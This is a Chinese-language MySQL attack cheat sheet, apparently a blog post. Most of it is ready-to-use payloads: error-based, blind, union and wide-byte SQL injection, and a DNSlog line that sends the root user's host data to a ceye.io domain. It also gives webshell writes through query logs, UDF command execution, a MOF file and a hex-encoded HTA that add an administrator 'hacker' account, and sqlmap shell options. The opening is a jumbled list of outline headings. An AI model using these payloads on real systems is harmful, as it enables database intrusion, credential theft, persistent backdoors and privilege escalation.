将恶意的sql语句插入到正常的查询语句中,在后台的数据库中去解析执行。 1. 所有查询记录日志 2. 慢查询日志 1. UDF 2. mof 执行以下命令写入mof目录: 3. 启动项提权 转换为16进制: 用户启动项: 1. sqlmap --os-shell(--os-cmd=whoami) 有部分人,可能会认为sqlmap这个参数,利用原理是udf,但是真实方法是通过select 0xxxxxxx into outfile 的方法写入到web路径下拿到一个小马 那么,难道就没有udf了吗?实则不然,可以用 2. sqlmap --os-pwn 3. sqlmap --reg-read等 4. 感觉不对就加-vv调试1、SQL注入
1.SQL注入原理
2.SQL注入分类
1.数字型
2.字符型注入
1.报错注入
1.基于(floor)的报错注入
' and (select 1 from (select count(*), concat(0x3a,0x3a,floor(rand(0)*2), 0x3a,0x3a,(注入语句))a from information_schema.tables group by a)b)-- -
可简化为:
and select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x5c,(注入语句),0x5c)
若关键的表被禁了,可用:
select count(*) from (select 1 union select null union select !1)a group by concat(version(),floor(rand(0)*2))
若是rand被禁用:可用
select min(@a:=1) from information_schema.tables group by concat((报错语句),@a:=(@a+1)%2)
注:information_schema.tables == (select 1 union select null union select !1)a
由count(*),group by ,rand()引发,floor(rand(0)*2) 会导致出现固定的主键值:01101100111011,并且会多次计算,经过5次计算floor(rand(0)2),对应的3次记录查询,即:第一次查询 f为0,查询虚拟表,发现没有记录,尝试插入虚拟表时会再次计算f(已经两次计算),插入数据,此时f为1有了数据;第二次查询,发现f为1,已经存在数据,则count()+1;第三次查询时发现f为0,查询虚拟表发现没有对应的数据,尝试插入虚拟表,此时f再次被计算为1,插入时发现已经有数据了,由于数据库主键唯一,所以不能插入,导致出错。
2.基于(extractalue)的报错注入
and extractvalue(1, concat(0x5c,(报错语句),0x5c))
3.基于(updatexml)的报错注入
and 1=(updatexml(1,concat(0x5c,(报错语句),0x5c),1))
2、盲注
截取函数:substr、substring、mid、left
编码函数:ord、hex、ascii、char
条件语句:if、case when then else end、ifnull、nullif
延时函数:sleep、benchmark(50000,sha1(1))、get_lock(str,timeout)、笛卡尔积、RLIKE
笛卡尔积:
select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C;
RLIKE:
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.*)+b'
regexp注入:
' and 1=(if(select user() regexp '^r'),1,0)-- -
盲注时一些技巧:
substr(exp from for) limit 1 offset 0
二分法:
位计算法(计算每一位是1还是0[1,2,4,8,16,32,64]):
& | ^
都可以 3.union 联合注入
mysql 5.6 版本后可用mysql.innodb_table_stats || mysql.innodb_index_stats 代替 information_schema.tables
file_priv mysql.user load_file || into outfile
4、宽字节注入
由于服务器使用了多字节编码并且用了addslashes函数,目前测出GBK和BIG5会导致宽字节注入,
\
的十六进制0x5c,而UTF-8等其他的编码低字节位不包含0x5c,实例:
%df' || %b3' || 錦'
注意代码:
1、
$name = addslashes($_GET['name']); //%df'
mysqli_query($con,"set names GBK");
2、
iconv("GBK","UTF-8", addslashes($_GET['name'])); //%b3'
3、
将2的GBK和UTF-8顺序调换//錦'
4、
$name = iconv("UTF-8","GBK",$_GET['name']);//錦'
addslashes($name);
mysqli_query($con, "set name GBK");
5、order by 后的 注入
注意下order=xxxx,看是否有排序
6、dnslog带外数据
要求:
secure-file-priv=null 既不能读,也不能写
skip-name-resolve 为OFF
secure-file-priv 为 空 mysql 5.6.34 后默认为null,不能通过select ... into outfile ... 写文件
select load_file(CONCAT('\\\\',(SELECT hex(host) FROM mysql.user WHERE user='root' LIMIT 1),'xxx.ceye.io\\abc'))
7、二次注入
8、在secure-file-priv=null下,写日志拿webshell
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
慢日志默认超时时间为10秒,在超过这个时间的SQL语句会被记录到日志文件中,可以用show global variables like '%long_query_time%'
查看,可用set global long_query_time=0.001;
更改set global slow_query_log=1;
set global slow_query_log_file='D:/phpStudy/WWW/cmd.php';
select '<?php assert($_POST["cmd"]);?>' or sleep(11);
9. 基础信息
select host,user,password from mysql.user //用户密码、hash
mysql大于等于5.7版本:password字段改为authentication_string
10. 命令执行||提权
udf.dll
存放在system32目录下,mysql5.1以上版本udf.dll
存放在lib/plugin目录下,但是不是完整版的mysql是没有plugin目录的,可以尝试NTFS ADS文件流写目录,不过成功率有问题:
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
若是遇到:ERROR 3 (HY000): Error writing file xxx (Errcode: 22)这个不用担心,目录已经创建了,13就不行secure-file-priv
为空,如果不为空,我们只能通过webshell等等上传
select load_file('webshell/path/udf.dll') into dumpfile 'c:\xxx\xx\xxx\lib\plugin\udf.dll'
select unhex('16进制不加0x') into dumpfile 'xxx'
select 0x16 into dumpfile 'xxx'
select convert(0x13ed, binary) into dumpfile 'xxx'
create function cmdshell return string soname 'udf.dll';
select cmdshell('xxx');
drop function cmdshell;
对于linux来说方法还是一样的,只是这里可以多一种可能性,先利用mysql条件竞争漏洞cve-2016-6663
将自身提到mysql权限,这样我们就对lib/plugin目录有了写权限
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
公开的mof文件#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
select load_file('c:\xxx\hacker.mof') into dumpfile 'into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof'
secure-file-priv
不能等于null
,因为要用到他将vbs文件写入启动项目录
<SCRIPT LANGUAGE="VBScript">on error resume nextSet WS = createobject("WScript.Shell")WS.run "cmd /c net1.exe user hacker 1 /add && net1.exe localgroup administrators hacker /add && del /f /q backdoor.hta",0</script><script language=javascript>window.close();</script>
3c534352495054204c414e47554147453d225642536372697074223e6f6e206572726f7220726573756d65206e657874536574205753203d206372656174656f626a6563742822575363726970742e5368656c6c222957532e72756e202022636d6420202f6320206e6574312e65786520207573657220206861636b657220203120202f6164642020262620206e6574312e65786520206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164642026262064656c202f66202f71206261636b646f6f722e687461222c303c2f7363726970743e3c736372697074206c616e67756167653d6a6176617363726970743e77696e646f772e636c6f736528293b3c2f7363726970743e
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
系统启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
select 0x3c534352495054204c414e47554147453d225642536372697074223e6f6e206572726f7220726573756d65206e657874536574205753203d206372656174656f626a6563742822575363726970742e5368656c6c222957532e72756e202022636d6420202f6320206e6574312e65786520207573657220206861636b657220203120202f6164642020262620206e6574312e65786520206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164642026262064656c202f66202f71206261636b646f6f722e687461222c303c2f7363726970743e3c736372697074206c616e67756167653d6a6176617363726970743e77696e646f772e636c6f736528293b3c2f7363726970743e into dumpfile 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.hta'
10. 关于sqlmap在mysql渗透中应用(以提权、命令执行、shell反弹来说)
--udf-inject
参数,这参数就是udf了,但是这参数需要支持堆叠查询
这个反弹shell的参数,实际上也是要先利用到写webshell建立小马,(所以一旦遇到secure-file-priv=null
或者disable_function直接就歇菜了),建立在icmp信道或者meterpreter的反弹,不过需要注意你或许会用得上--tmp-path
这个参数,特别是在windows,因为sqlmap默认会是/tmp/xxx
,而这个目录在windows中不存在
这要和--udf-inject
配合使用才行,先用--udf-inject
,再用--reg-read
,同时你还得加上--tmp-path
指定一个windows上存在的并且可写的路径,c:\\windows\\temp
就可以,原因可以看第二点11. 参考
Comments NOTHING